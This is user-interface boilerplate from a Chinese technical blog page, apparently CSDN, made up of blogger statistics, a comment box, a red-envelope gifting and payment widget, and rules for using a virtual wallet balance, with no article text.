博客等级 码龄25年 1068粉丝 1515原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值